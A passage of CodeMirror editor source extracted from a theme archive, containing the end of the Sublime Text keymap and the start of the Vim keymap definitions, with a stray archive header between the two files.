        cm.addSelection(cur.from(), cur.to());
      } else {
        cur = cm.getSearchCursor(query, Pos(cm.firstLine(), 0));
        if (cur.findNext())
          cm.addSelection(cur.from(), cur.to());
      }
    }
    if (fullWord)
      cm.state.sublimeFindFullWord = cm.doc.sel;
  };

  var mirror = "(){}[]";
  function selectBetweenBrackets(cm) {
    var pos = cm.getCursor(), opening = cm.scanForBracket(pos, -1);
    if (!opening) return;
    for (;;) {
      var closing = cm.scanForBracket(pos, 1);
      if (!closing) return;
      if (closing.ch == mirror.charAt(mirror.indexOf(opening.ch) + 1)) {
        cm.setSelection(Pos(opening.pos.line, opening.pos.ch + 1), closing.pos, false);
        return true;
      }
      pos = Pos(closing.pos.line, closing.pos.ch + 1);
    }
  }

  cmds[map["Shift-" + ctrl + "Space"] = "selectScope"] = function(cm) {
    selectBetweenBrackets(cm) || cm.execCommand("selectAll");
  };
  cmds[map["Shift-" + ctrl + "M"] = "selectBetweenBrackets"] = function(cm) {
    if (!selectBetweenBrackets(cm)) return CodeMirror.Pass;
  };

  cmds[map[ctrl + "M"] = "goToBracket"] = function(cm) {
    cm.extendSelectionsBy(function(range) {
      var next = cm.scanForBracket(range.head, 1);
      if (next && CodeMirror.cmpPos(next.pos, range.head) != 0) return next.pos;
      var prev = cm.scanForBracket(range.head, -1);
      return prev && Pos(prev.pos.line, prev.pos.ch + 1) || range.head;
    });
  };

  var swapLineCombo = mac ? "Cmd-Ctrl-" : "Shift-Ctrl-";

  cmds[map[swapLineCombo + "Up"] = "swapLineUp"] = function(cm) {
    var ranges = cm.listSelections(), linesToMove = [], at = cm.firstLine() - 1, newSels = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], from = range.from().line - 1, to = range.to().line;
      newSels.push({anchor: Pos(range.anchor.line - 1, range.anchor.ch),
                    head: Pos(range.head.line - 1, range.head.ch)});
      if (range.to().ch == 0 && !range.empty()) --to;
      if (from > at) linesToMove.push(from, to);
      else if (linesToMove.length) linesToMove[linesToMove.length - 1] = to;
      at = to;
    }
    cm.operation(function() {
      for (var i = 0; i < linesToMove.length; i += 2) {
        var from = linesToMove[i], to = linesToMove[i + 1];
        var line = cm.getLine(from);
        cm.replaceRange("", Pos(from, 0), Pos(from + 1, 0), "+swapLine");
        if (to > cm.lastLine())
          cm.replaceRange("\n" + line, Pos(cm.lastLine()), null, "+swapLine");
        else
          cm.replaceRange(line + "\n", Pos(to, 0), null, "+swapLine");
      }
      cm.setSelections(newSels);
      cm.scrollIntoView();
    });
  };

  cmds[map[swapLineCombo + "Down"] = "swapLineDown"] = function(cm) {
    var ranges = cm.listSelections(), linesToMove = [], at = cm.lastLine() + 1;
    for (var i = ranges.length - 1; i >= 0; i--) {
      var range = ranges[i], from = range.to().line + 1, to = range.from().line;
      if (range.to().ch == 0 && !range.empty()) from--;
      if (from < at) linesToMove.push(from, to);
      else if (linesToMove.length) linesToMove[linesToMove.length - 1] = to;
      at = to;
    }
    cm.operation(function() {
      for (var i = linesToMove.length - 2; i >= 0; i -= 2) {
        var from = linesToMove[i], to = linesToMove[i + 1];
        var line = cm.getLine(from);
        if (from == cm.lastLine())
          cm.replaceRange("", Pos(from - 1), Pos(from), "+swapLine");
        else
          cm.replaceRange("", Pos(from, 0), Pos(from + 1, 0), "+swapLine");
        cm.replaceRange(line + "\n", Pos(to, 0), null, "+swapLine");
      }
      cm.scrollIntoView();
    });
  };

  map[ctrl + "/"] = function(cm) {
    cm.toggleComment({ indent: true });
  }

  cmds[map[ctrl + "J"] = "joinLines"] = function(cm) {
    var ranges = cm.listSelections(), joined = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], from = range.from();
      var start = from.line, end = range.to().line;
      while (i < ranges.length - 1 && ranges[i + 1].from().line == end)
        end = ranges[++i].to().line;
      joined.push({start: start, end: end, anchor: !range.empty() && from});
    }
    cm.operation(function() {
      var offset = 0, ranges = [];
      for (var i = 0; i < joined.length; i++) {
        var obj = joined[i];
        var anchor = obj.anchor && Pos(obj.anchor.line - offset, obj.anchor.ch), head;
        for (var line = obj.start; line <= obj.end; line++) {
          var actual = line - offset;
          if (line == obj.end) head = Pos(actual, cm.getLine(actual).length + 1);
          if (actual < cm.lastLine()) {
            cm.replaceRange(" ", Pos(actual), Pos(actual + 1, /^\s*/.exec(cm.getLine(actual + 1))[0].length));
            ++offset;
          }
        }
        ranges.push({anchor: anchor || head, head: head});
      }
      cm.setSelections(ranges, 0);
    });
  };

  cmds[map["Shift-" + ctrl + "D"] = "duplicateLine"] = function(cm) {
    cm.operation(function() {
      var rangeCount = cm.listSelections().length;
      for (var i = 0; i < rangeCount; i++) {
        var range = cm.listSelections()[i];
        if (range.empty())
          cm.replaceRange(cm.getLine(range.head.line) + "\n", Pos(range.head.line, 0));
        else
          cm.replaceRange(cm.getRange(range.from(), range.to()), range.from());
      }
      cm.scrollIntoView();
    });
  };

  map[ctrl + "T"] = "transposeChars";

  function sortLines(cm, caseSensitive) {
    var ranges = cm.listSelections(), toSort = [], selected;
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      if (range.empty()) continue;
      var from = range.from().line, to = range.to().line;
      while (i < ranges.length - 1 && ranges[i + 1].from().line == to)
        to = range[++i].to().line;
      toSort.push(from, to);
    }
    if (toSort.length) selected = true;
    else toSort.push(cm.firstLine(), cm.lastLine());

    cm.operation(function() {
      var ranges = [];
      for (var i = 0; i < toSort.length; i += 2) {
        var from = toSort[i], to = toSort[i + 1];
        var start = Pos(from, 0), end = Pos(to);
        var lines = cm.getRange(start, end, false);
        if (caseSensitive)
          lines.sort();
        else
          lines.sort(function(a, b) {
            var au = a.toUpperCase(), bu = b.toUpperCase();
            if (au != bu) { a = au; b = bu; }
            return a < b ? -1 : a == b ? 0 : 1;
          });
        cm.replaceRange(lines, start, end);
        if (selected) ranges.push({anchor: start, head: end});
      }
      if (selected) cm.setSelections(ranges, 0);
    });
  }

  cmds[map["F9"] = "sortLines"] = function(cm) { sortLines(cm, true); };
  cmds[map[ctrl + "F9"] = "sortLinesInsensitive"] = function(cm) { sortLines(cm, false); };

  cmds[map["F2"] = "nextBookmark"] = function(cm) {
    var marks = cm.state.sublimeBookmarks;
    if (marks) while (marks.length) {
      var current = marks.shift();
      var found = current.find();
      if (found) {
        marks.push(current);
        return cm.setSelection(found.from, found.to);
      }
    }
  };

  cmds[map["Shift-F2"] = "prevBookmark"] = function(cm) {
    var marks = cm.state.sublimeBookmarks;
    if (marks) while (marks.length) {
      marks.unshift(marks.pop());
      var found = marks[marks.length - 1].find();
      if (!found)
        marks.pop();
      else
        return cm.setSelection(found.from, found.to);
    }
  };

  cmds[map[ctrl + "F2"] = "toggleBookmark"] = function(cm) {
    var ranges = cm.listSelections();
    var marks = cm.state.sublimeBookmarks || (cm.state.sublimeBookmarks = []);
    for (var i = 0; i < ranges.length; i++) {
      var from = ranges[i].from(), to = ranges[i].to();
      var found = cm.findMarks(from, to);
      for (var j = 0; j < found.length; j++) {
        if (found[j].sublimeBookmark) {
          found[j].clear();
          for (var k = 0; k < marks.length; k++)
            if (marks[k] == found[j])
              marks.splice(k--, 1);
          break;
        }
      }
      if (j == found.length)
        marks.push(cm.markText(from, to, {sublimeBookmark: true, clearWhenEmpty: false}));
    }
  };

  cmds[map["Shift-" + ctrl + "F2"] = "clearBookmarks"] = function(cm) {
    var marks = cm.state.sublimeBookmarks;
    if (marks) for (var i = 0; i < marks.length; i++) marks[i].clear();
    marks.length = 0;
  };

  cmds[map["Alt-F2"] = "selectBookmarks"] = function(cm) {
    var marks = cm.state.sublimeBookmarks, ranges = [];
    if (marks) for (var i = 0; i < marks.length; i++) {
      var found = marks[i].find();
      if (!found)
        marks.splice(i--, 0);
      else
        ranges.push({anchor: found.from, head: found.to});
    }
    if (ranges.length)
      cm.setSelections(ranges, 0);
  };

  map["Alt-Q"] = "wrapLines";

  var cK = ctrl + "K ";

  function modifyWordOrSelection(cm, mod) {
    cm.operation(function() {
      var ranges = cm.listSelections(), indices = [], replacements = [];
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (range.empty()) { indices.push(i); replacements.push(""); }
        else replacements.push(mod(cm.getRange(range.from(), range.to())));
      }
      cm.replaceSelections(replacements, "around", "case");
      for (var i = indices.length - 1, at; i >= 0; i--) {
        var range = ranges[indices[i]];
        if (at && CodeMirror.cmpPos(range.head, at) > 0) continue;
        var word = wordAt(cm, range.head);
        at = word.from;
        cm.replaceRange(mod(word.word), word.from, word.to);
      }
    });
  }

  map[cK + ctrl + "Backspace"] = "delLineLeft";

  cmds[map["Backspace"] = "smartBackspace"] = function(cm) {
    if (cm.somethingSelected()) return CodeMirror.Pass;

    var cursor = cm.getCursor();
    var toStartOfLine = cm.getRange({line: cursor.line, ch: 0}, cursor);
    var column = CodeMirror.countColumn(toStartOfLine, null, cm.getOption("tabSize"));
    var indentUnit = cm.getOption("indentUnit");

    if (toStartOfLine && !/\S/.test(toStartOfLine) && column % indentUnit == 0) {
      var prevIndent = new Pos(cursor.line,
        CodeMirror.findColumn(toStartOfLine, column - indentUnit, indentUnit));

      // If no smart delete is happening (due to tab sizing) just do a regular delete
      if (prevIndent.ch == cursor.ch) return CodeMirror.Pass;

      return cm.replaceRange("", prevIndent, cursor, "+delete");
    } else {
      return CodeMirror.Pass;
    }
  };

  cmds[map[cK + ctrl + "K"] = "delLineRight"] = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections();
      for (var i = ranges.length - 1; i >= 0; i--)
        cm.replaceRange("", ranges[i].anchor, Pos(ranges[i].to().line), "+delete");
      cm.scrollIntoView();
    });
  };

  cmds[map[cK + ctrl + "U"] = "upcaseAtCursor"] = function(cm) {
    modifyWordOrSelection(cm, function(str) { return str.toUpperCase(); });
  };
  cmds[map[cK + ctrl + "L"] = "downcaseAtCursor"] = function(cm) {
    modifyWordOrSelection(cm, function(str) { return str.toLowerCase(); });
  };

  cmds[map[cK + ctrl + "Space"] = "setSublimeMark"] = function(cm) {
    if (cm.state.sublimeMark) cm.state.sublimeMark.clear();
    cm.state.sublimeMark = cm.setBookmark(cm.getCursor());
  };
  cmds[map[cK + ctrl + "A"] = "selectToSublimeMark"] = function(cm) {
    var found = cm.state.sublimeMark && cm.state.sublimeMark.find();
    if (found) cm.setSelection(cm.getCursor(), found);
  };
  cmds[map[cK + ctrl + "W"] = "deleteToSublimeMark"] = function(cm) {
    var found = cm.state.sublimeMark && cm.state.sublimeMark.find();
    if (found) {
      var from = cm.getCursor(), to = found;
      if (CodeMirror.cmpPos(from, to) > 0) { var tmp = to; to = from; from = tmp; }
      cm.state.sublimeKilled = cm.getRange(from, to);
      cm.replaceRange("", from, to);
    }
  };
  cmds[map[cK + ctrl + "X"] = "swapWithSublimeMark"] = function(cm) {
    var found = cm.state.sublimeMark && cm.state.sublimeMark.find();
    if (found) {
      cm.state.sublimeMark.clear();
      cm.state.sublimeMark = cm.setBookmark(cm.getCursor());
      cm.setCursor(found);
    }
  };
  cmds[map[cK + ctrl + "Y"] = "sublimeYank"] = function(cm) {
    if (cm.state.sublimeKilled != null)
      cm.replaceSelection(cm.state.sublimeKilled, null, "paste");
  };

  map[cK + ctrl + "G"] = "clearBookmarks";
  cmds[map[cK + ctrl + "C"] = "showInCenter"] = function(cm) {
    var pos = cm.cursorCoords(null, "local");
    cm.scrollTo(null, (pos.top + pos.bottom) / 2 - cm.getScrollInfo().clientHeight / 2);
  };

  cmds[map["Shift-Alt-Up"] = "selectLinesUpward"] = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections();
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (range.head.line > cm.firstLine())
          cm.addSelection(Pos(range.head.line - 1, range.head.ch));
      }
    });
  };
  cmds[map["Shift-Alt-Down"] = "selectLinesDownward"] = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections();
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (range.head.line < cm.lastLine())
          cm.addSelection(Pos(range.head.line + 1, range.head.ch));
      }
    });
  };

  function getTarget(cm) {
    var from = cm.getCursor("from"), to = cm.getCursor("to");
    if (CodeMirror.cmpPos(from, to) == 0) {
      var word = wordAt(cm, from);
      if (!word.word) return;
      from = word.from;
      to = word.to;
    }
    return {from: from, to: to, query: cm.getRange(from, to), word: word};
  }

  function findAndGoTo(cm, forward) {
    var target = getTarget(cm);
    if (!target) return;
    var query = target.query;
    var cur = cm.getSearchCursor(query, forward ? target.to : target.from);

    if (forward ? cur.findNext() : cur.findPrevious()) {
      cm.setSelection(cur.from(), cur.to());
    } else {
      cur = cm.getSearchCursor(query, forward ? Pos(cm.firstLine(), 0)
                                              : cm.clipPos(Pos(cm.lastLine())));
      if (forward ? cur.findNext() : cur.findPrevious())
        cm.setSelection(cur.from(), cur.to());
      else if (target.word)
        cm.setSelection(target.from, target.to);
    }
  };
  cmds[map[ctrl + "F3"] = "findUnder"] = function(cm) { findAndGoTo(cm, true); };
  cmds[map["Shift-" + ctrl + "F3"] = "findUnderPrevious"] = function(cm) { findAndGoTo(cm,false); };
  cmds[map["Alt-F3"] = "findAllUnder"] = function(cm) {
    var target = getTarget(cm);
    if (!target) return;
    var cur = cm.getSearchCursor(target.query);
    var matches = [];
    var primaryIndex = -1;
    while (cur.findNext()) {
      matches.push({anchor: cur.from(), head: cur.to()});
      if (cur.from().line <= target.from.line && cur.from().ch <= target.from.ch)
        primaryIndex++;
    }
    cm.setSelections(matches, primaryIndex);
  };

  map["Shift-" + ctrl + "["] = "fold";
  map["Shift-" + ctrl + "]"] = "unfold";
  map[cK + ctrl + "0"] = map[cK + ctrl + "j"] = "unfoldAll";

  map[ctrl + "I"] = "findIncremental";
  map["Shift-" + ctrl + "I"] = "findIncrementalReverse";
  map[ctrl + "H"] = "replace";
  map["F3"] = "findNext";
  map["Shift-F3"] = "findPrev";

  CodeMirror.normalizeKeyMap(map);
});
PK     0w\ֿ  >  customizer/framework/assets/js/vendor/codemirror/keymap/vim.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/**
 * Supported keybindings:
 *   Too many to list. Refer to defaultKeyMap below.
 *
 * Supported Ex commands:
 *   Refer to defaultExCommandMap below.
 *
 * Registers: unnamed, -, a-z, A-Z, 0-9
 *   (Does not respect the special case for number registers when delete
 *    operator is made with these commands: %, (, ),  , /, ?, n, N, {, } )
 *   TODO: Implement the remaining registers.
 *
 * Marks: a-z, A-Z, and 0-9
 *   TODO: Implement the remaining special marks. They have more complex
 *       behavior.
 *
 * Events:
 *  'vim-mode-change' - raised on the editor anytime the current mode changes,
 *                      Event object: {mode: "visual", subMode: "linewise"}
 *
 * Code structure:
 *  1. Default keymap
 *  2. Variable declarations and short basic helpers
 *  3. Instance (External API) implementation
 *  4. Internal state tracking objects (input state, counter) implementation
 *     and instanstiation
 *  5. Key handler (the main command dispatcher) implementation
 *  6. Motion, operator, and action implementations
 *  7. Helper functions for the key handler, motions, operators, and actions
 *  8. Set up Vim to work as a keymap for CodeMirror.
 *  9. Ex command implementations.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../lib/codemirror"), require("../addon/search/searchcursor"), require("../addon/dialog/dialog"), require("../addon/edit/matchbrackets.js"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../lib/codemirror", "../addon/search/searchcursor", "../addon/dialog/dialog", "../addon/edit/matchbrackets"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  'use strict';

  var defaultKeymap = [
    // Key to key mapping. This goes first to make it possible to override
    // existing mappings.
    { keys: '<Left>', type: 'keyToKey', toKeys: 'h' },
    { keys: '<Right>', type: 'keyToKey', toKeys: 'l' },
    { keys: '<Up>', type: 'keyToKey', toKeys: 'k' },
    { keys: '<Down>', type: 'keyToKey', toKeys: 'j' },
    { keys: '<Space>', type: 'keyToKey', toKeys: 'l' },
    { keys: '<BS>', type: 'keyToKey', toKeys: 'h', context: 'normal'},
    { keys: '<C-Space>', type: 'keyToKey', toKeys: 'W' },
    { keys: '<C-BS>', type: 'keyToKey', toKeys: 'B', context: 'normal' },
    { keys: '<S-Space>', type: 'keyToKey', toKeys: 'w' },
    { keys: '<S-BS>', type: 'keyToKey', toKeys: 'b', context: 'normal' },
    { keys: '<C-n>', type: 'keyToKey', toKeys: 'j' },
    { keys: '<C-p>', type: 'keyToKey', toKeys: 'k' },
    { keys: '<C-[>', type: 'keyToKey', toKeys: '<Esc>' },
    { keys: '<C-c>', type: 'keyToKey', toKeys: '<Esc>' },
    { keys: '<C-[>', type: 'keyToKey', toKeys: '<Esc>', context: 'insert' },
    { keys: '<C-c>', type: 'keyToKey', toKeys: '<Esc>', context: 'insert' },
    { keys: 's', type: 'keyToKey', toKeys: 'cl', context: 'normal' },
    { keys: 's', type: 'keyToKey', toKeys: 'xi', context: 'visual'},
    { keys: 'S', type: 'keyToKey', toKeys: 'cc', context: 'normal' },
    { keys: 'S', type: 'keyToKey', toKeys: 'dcc', context: 'visual' },
    { keys: '<Home>', type: 'keyToKey', toKeys: '0' },
    { keys: '<End>', type: 'keyToKey', toKeys: '$' },
    { keys: '<PageUp>', type: 'keyToKey', toKeys: '<C-b>' },
    { keys: '<PageDown>', type: 'keyToKey', toKeys: '<C-f>' },
    { keys: '<CR>', type: 'keyToKey', toKeys: 'j^', context: 'normal' },
    // Motions
    { keys: 'H', type: 'motion', motion: 'moveToTopLine', motionArgs: { linewise: true, toJumplist: true }},
    { keys: 'M', type: 'motion', motion: 'moveToMiddleLine', motionArgs: { linewise: true, toJumplist: true }},
    { keys: 'L', type: 'motion', motion: 'moveToBottomLine', motionArgs: { linewise: true, toJumplist: true }},
    { keys: 'h', type: 'motion', motion: 'moveByCharacters', motionArgs: { forward: false }},
    { keys: 'l', type: 'motion', motion: 'moveByCharacters', motionArgs: { forward: true }},
    { keys: 'j', type: 'motion', motion: 'moveByLines', motionArgs: { forward: true, linewise: true }},
    { keys: 'k', type: 'motion', motion: 'moveByLines', motionArgs: { forward: false, linewise: true }},
    { keys: 'gj', type: 'motion', motion: 'moveByDisplayLines', motionArgs: { forward: true }},
    { keys: 'gk', type: 'motion', motion: 'moveByDisplayLines', motionArgs: { forward: false }},
    { keys: 'w', type: 'motion', motion: 'moveByWords', motionArgs: { forward: true, wordEnd: false }},
    { keys: 'W', type: 'motion', motion: 'moveByWords', motionArgs: { forward: true, wordEnd: false, bigWord: true }},
    { keys: 'e', type: 'motion', motion: 'moveByWords', motionArgs: { forward: true, wordEnd: true, inclusive: true }},
    { keys: 'E', type: 'motion', motion: 'moveByWords', motionArgs: { forward: true, wordEnd: true, bigWord: true, inclusive: true }},
    { keys: 'b', type: 'motion', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: false }},
    { keys: 'B', type: 'motion', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: false, bigWord: true }},
    { keys: 'ge', type: 'motion', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: true, inclusive: true }},
    { keys: 'gE', type: 'motion', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: true, bigWord: true, inclusive: true }},
    { keys: '{', type: 'motion', motion: 'moveByParagraph', motionArgs: { forward: false, toJumplist: true }},
    { keys: '}', type: 'motion', motion: 'moveByParagraph', motionArgs: { forward: true, toJumplist: true }},
    { keys: '<C-f>', type: 'motion', motion: 'moveByPage', motionArgs: { forward: true }},
    { keys: '<C-b>', type: 'motion', motion: 'moveByPage', motionArgs: { forward: false }},
    { keys: '<C-d>', type: 'motion', motion: 'moveByScroll', motionArgs: { forward: true, explicitRepeat: true }},
    { keys: '<C-u>', type: 'motion', motion: 'moveByScroll', motionArgs: { forward: false, explicitRepeat: true }},
    { keys: 'gg', type: 'motion', motion: 'moveToLineOrEdgeOfDocument', motionArgs: { forward: false, explicitRepeat: true, linewise: true, toJumplist: true }},
    { keys: 'G', type: 'motion', motion: 'moveToLineOrEdgeOfDocument', motionArgs: { forward: true, explicitRepeat: true, linewise: true, toJumplist: true }},
    { keys: '0', type: 'motion', motion: 'moveToStartOfLine' },
    { keys: '^', type: 'motion', motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: '+', type: 'motion', motion: 'moveByLines', motionArgs: { forward: true, toFirstChar:true }},
    { keys: '-', type: 'motion', motion: 'moveByLines', motionArgs: { forward: false, toFirstChar:true }},
    { keys: '_', type: 'motion', motion: 'moveByLines', motionArgs: { forward: true, toFirstChar:true, repeatOffset:-1 }},
    { keys: '$', type: 'motion', motion: 'moveToEol', motionArgs: { inclusive: true }},
    { keys: '%', type: 'motion', motion: 'moveToMatchedSymbol', motionArgs: { inclusive: true, toJumplist: true }},
    { keys: 'f<character>', type: 'motion', motion: 'moveToCharacter', motionArgs: { forward: true , inclusive: true }},
    { keys: 'F<character>', type: 'motion', motion: 'moveToCharacter', motionArgs: { forward: false }},
    { keys: 't<character>', type: 'motion', motion: 'moveTillCharacter', motionArgs: { forward: true, inclusive: true }},
    { keys: 'T<character>', type: 'motion', motion: 'moveTillCharacter', motionArgs: { forward: false }},
    { keys: ';', type: 'motion', motion: 'repeatLastCharacterSearch', motionArgs: { forward: true }},
    { keys: ',', type: 'motion', motion: 'repeatLastCharacterSearch', motionArgs: { forward: false }},
    { keys: '\'<character>', type: 'motion', motion: 'goToMark', motionArgs: {toJumplist: true, linewise: true}},
    { keys: '`<character>', type: 'motion', motion: 'goToMark', motionArgs: {toJumplist: true}},
    { keys: ']`', type: 'motion', motion: 'jumpToMark', motionArgs: { forward: true } },
    { keys: '[`', type: 'motion', motion: 'jumpToMark', motionArgs: { forward: false } },
    { keys: ']\'', type: 'motion', motion: 'jumpToMark', motionArgs: { forward: true, linewise: true } },
    { keys: '[\'', type: 'motion', motion: 'jumpToMark', motionArgs: { forward: false, linewise: true } },
    // the next two aren't motions but must come before more general motion declarations
    { keys: ']p', type: 'action', action: 'paste', isEdit: true, actionArgs: { after: true, isEdit: true, matchIndent: true}},
    { keys: '[p', type: 'action', action: 'paste', isEdit: true, actionArgs: { after: false, isEdit: true, matchIndent: true}},
    { keys: ']<character>', type: 'motion', motion: 'moveToSymbol', motionArgs: { forward: true, toJumplist: true}},
    { keys: '[<character>', type: 'motion', motion: 'moveToSymbol', motionArgs: { forward: false, toJumplist: true}},
    { keys: '|', type: 'motion', motion: 'moveToColumn'},
    { keys: 'o', type: 'motion', motion: 'moveToOtherHighlightedEnd', context:'visual'},
    { keys: 'O', type: 'motion', motion: 'moveToOtherHighlightedEnd', motionArgs: {sameLine: true}, context:'visual'},
    // Operators
    { keys: 'd', type: 'operator', operator: 'delete' },
    { keys: 'y', type: 'operator', operator: 'yank' },
    { keys: 'c', type: 'operator', operator: 'change' },
    { keys: '>', type: 'operator', operator: 'indent', operatorArgs: { indentRight: true }},
    { keys: '<', type: 'operator', operator: 'indent', operatorArgs: { indentRight: false }},
    { keys: 'g~', type: 'operator', operator: 'changeCase' },
    { keys: 'gu', type: 'operator', operator: 'changeCase', operatorArgs: {toLower: true}, isEdit: true },
    { keys: 'gU', type: 'operator', operator: 'changeCase', operatorArgs: {toLower: false}, isEdit: true },
    { keys: 'n', type: 'motion', motion: 'findNext', motionArgs: { forward: true, toJumplist: true }},
    { keys: 'N', type: 'motion', motion: 'findNext', motionArgs: { forward: false, toJumplist: true }},
    // Operator-Motion dual commands
    { keys: 'x', type: 'operatorMotion', operator: 'delete', motion: 'moveByCharacters', motionArgs: { forward: true }, operatorMotionArgs: { visualLine: false }},
    { keys: 'X', type: 'operatorMotion', operator: 'delete', motion: 'moveByCharacters', motionArgs: { forward: false }, operatorMotionArgs: { visualLine: true }},
    { keys: 'D', type: 'operatorMotion', operator: 'delete', motion: 'moveToEol', motionArgs: { inclusive: true }, context: 'normal'},
    { keys: 'D', type: 'operator', operator: 'delete', operatorArgs: { linewise: true }, context: 'visual'},
    { keys: 'Y', type: 'operatorMotion', operator: 'yank', motion: 'moveToEol', motionArgs: { inclusive: true }, context: 'normal'},
    { keys: 'Y', type: 'operator', operator: 'yank', operatorArgs: { linewise: true }, context: 'visual'},
    { keys: 'C', type: 'operatorMotion', operator: 'change', motion: 'moveToEol', motionArgs: { inclusive: true }, context: 'normal'},
    { keys: 'C', type: 'operator', operator: 'change', operatorArgs: { linewise: true }, context: 'visual'},
    { keys: '~', type: 'operatorMotion', operator: 'changeCase', motion: 'moveByCharacters', motionArgs: { forward: true }, operatorArgs: { shouldMoveCursor: true }, context: 'normal'},
    { keys: '~', type: 'operator', operator: 'changeCase', context: 'visual'},
    { keys: '<C-w>', type: 'operatorMotion', operator: 'delete', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: false }, context: 'insert' },
    // Actions
    { keys: '<C-i>', type: 'action', action: 'jumpListWalk', actionArgs: { forward: true }},
    { keys: '<C-o>', type: 'action', action: 'jumpListWalk', actionArgs: { forward: false }},
    { keys: '<C-e>', type: 'action', action: 'scroll', actionArgs: { forward: true, linewise: true }},
    { keys: '<C-y>', type: 'action', action: 'scroll', actionArgs: { forward: false, linewise: true }},
    { keys: 'a', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'charAfter' }, context: 'normal' },
    { keys: 'A', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'eol' }, context: 'normal' },
    { keys: 'A', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'endOfSelectedArea' }, context: 'visual' },
    { keys: 'i', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'inplace' }, context: 'normal' },
    { keys: 'I', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'firstNonBlank'}, context: 'normal' },
    { keys: 'I', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'startOfSelectedArea' }, context: 'visual' },
    { keys: 'o', type: 'action', action: 'newLineAndEnterInsertMode', isEdit: true, interlaceInsertRepeat: true, actionArgs: { after: true }, context: 'normal' },
    { keys: 'O', type: 'action', action: 'newLineAndEnterInsertMode', isEdit: true, interlaceInsertRepeat: true, actionArgs: { after: false }, context: 'normal' },
    { keys: 'v', type: 'action', action: 'toggleVisualMode' },
    { keys: 'V', type: 'action', action: 'toggleVisualMode', actionArgs: { linewise: true }},
    { keys: '<C-v>', type: 'action', action: 'toggleVisualMode', actionArgs: { blockwise: true }},
    { keys: 'gv', type: 'action', action: 'reselectLastSelection' },
    { keys: 'J', type: 'action', action: 'joinLines', isEdit: true },
    { keys: 'p', type: 'action', action: 'paste', isEdit: true, actionArgs: { after: true, isEdit: true }},
    { keys: 'P', type: 'action', action: 'paste', isEdit: true, actionArgs: { after: false, isEdit: true }},
    { keys: 'r<character>', type: 'action', action: 'replace', isEdit: true },
    { keys: '@<character>', type: 'action', action: 'replayMacro' },
    { keys: 'q<character>', type: 'action', action: 'enterMacroRecordMode' },
    // Handle Replace-mode as a special case of insert mode.
    { keys: 'R', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { replace: true }},
    { keys: 'u', type: 'action', action: 'undo', context: 'normal' },
    { keys: 'u', type: 'operator', operator: 'changeCase', operatorArgs: {toLower: true}, context: 'visual', isEdit: true },
    { keys: 'U', type: 'operator', operator: 'changeCase', operatorArgs: {toLower: false}, context: 'visual', isEdit: true },
    { keys: '<C-r>', type: 'action', action: 'redo' },
    { keys: 'm<character>', type: 'action', action: 'setMark' },
    { keys: '"<character>', type: 'action', action: 'setRegister' },
    { keys: 'zz', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'center' }},
    { keys: 'z.', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'center' }, motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: 'zt', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'top' }},
    { keys: 'z<CR>', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'top' }, motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: 'z-', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'bottom' }},
    { keys: 'zb', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'bottom' }, motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: '.', type: 'action', action: 'repeatLastEdit' },
    { keys: '<C-a>', type: 'action', action: 'incrementNumberToken', isEdit: true, actionArgs: {increase: true, backtrack: false}},
    { keys: '<C-x>', type: 'action', action: 'incrementNumberToken', isEdit: true, actionArgs: {increase: false, backtrack: false}},
    // Text object motions
    { keys: 'a<character>', type: 'motion', motion: 'textObjectManipulation' },
    { keys: 'i<character>', type: 'motion', motion: 'textObjectManipulation', motionArgs: { textObjectInner: true }},
    // Search
    { keys: '/', type: 'search', searchArgs: { forward: true, querySrc: 'prompt', toJumplist: true }},
    { keys: '?', type: 'search', searchArgs: { forward: false, querySrc: 'prompt', toJumplist: true }},
    { keys: '*', type: 'search', searchArgs: { forward: true, querySrc: 'wordUnderCursor', wholeWordOnly: true, toJumplist: true }},
    { keys: '#', type: 'search', searchArgs: { forward: false, querySrc: 'wordUnderCursor', wholeWordOnly: true, toJumplist: true }},
    { keys: 'g*', type: 'search', searchArgs: { forward: true, querySrc: 'wordUnderCursor', toJumplist: true }},
    { keys: 'g#', type: 'search', searchArgs: { forward: false, querySrc: 'wordUnderCursor', toJumplist: true }},
    // Ex command
    { keys: ':', type: 'ex' }
  ];

  /**
   * Ex commands
   * Care must be taken when adding to the default Ex command map. For any
   * pair of commands that have a shared prefix, at least one of their
   * shortNames must not match the prefix of the other command.
   */
  var defaultExCommandMap = [
    { name: 'colorscheme', shortName: 'colo' },
    { name: 'map' },
    { name: 'imap', shortName: 'im' },
